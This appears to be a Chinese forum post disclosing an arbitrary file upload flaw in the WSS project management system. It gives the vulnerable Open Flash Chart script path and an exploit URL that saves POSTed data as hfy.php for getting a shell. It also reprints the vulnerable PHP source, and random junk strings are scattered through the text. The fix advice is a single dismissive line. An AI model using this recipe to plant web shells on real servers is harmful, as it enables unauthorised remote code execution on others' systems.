WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- T! E; R( p' ~- ]$ e
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

- s4 e  J6 Z# f, @* K+ JPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
+ c9 {6 A$ x7 k9 n7 [
<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

) Y3 E9 e8 L" Z2 |2 I$ r7 t+ H/*
  `2 y3 b( _* ~: v4 x' j
print_r( $_GET );
1 {3 G  |  v. Q( z$ g% ~print_r( $_POST );
6 X) m& r4 {8 c+ E& @5 ~print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
$ V( n0 F/ ]! k2 z2 ^# X4 ^0 A// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

6 h. [' x) v  y/ gif (!file_exists($default_path)) mkdir($default_path, 0777, true);

( d% S' S9 }& j% f8 c3 i1 H& K// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
' ^' L/ {* t! ?9 k
5 b; }& @' c4 ]+ O  W, S  a& secho 'Saving your image to: '. $destination;
// print_r( $_POST );
1 M6 @+ r/ e2 X2 l4 T3 p& z0 J& `. g// print_r( $_SERVER );
% T7 |7 a1 Q" b8 W, B" ?7 B// echo $HTTP_RAW_POST_DATA;
6 N/ Y; [9 K. h8 M( R
//
( W! v0 ]& ]9 u// POST data is usually string data, but we are passing a RAW .png
; K9 x. [. z. \// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
0 `! ]0 w( Q  y6 {. |7 d8 j
1 J& Q3 m# e- M! p$jfh = fopen($destination, 'w') or die("can't open file");
; E/ S8 u# _# N3 j# rfwrite($jfh, $HTTP_RAW_POST_DATA);
* z' z0 U" C- @4 Lfclose($jfh);
; L, C( f+ Y1 t, Q6 S
//
// LOOK:
//
. S7 k' R: v2 ?8 W% iexit();
) ]2 |4 M, P% E$ I//
// PHP5:
//

9 m) d( T: F2 Q' D5 W# I
+ D) e% b# k: A) T+ C// default path for the image to be stored //
% F1 ~' H/ \. J" T$default_path = 'tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

/ F; q3 I2 S: A. f/ ?1 u7 z// full path to the saved image including filename //
& g( L' O1 ]5 x' Y$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
1 f& ~* P, }& l: `; u0 s! m7 Kif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
/ ]/ U; C, z* M2 Z0 t/ @}


?>

% D# z6 g3 A- ~




修复方案：
! a1 {2 f( p5 r这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞




% U$ I- l7 r- c/ A2 ^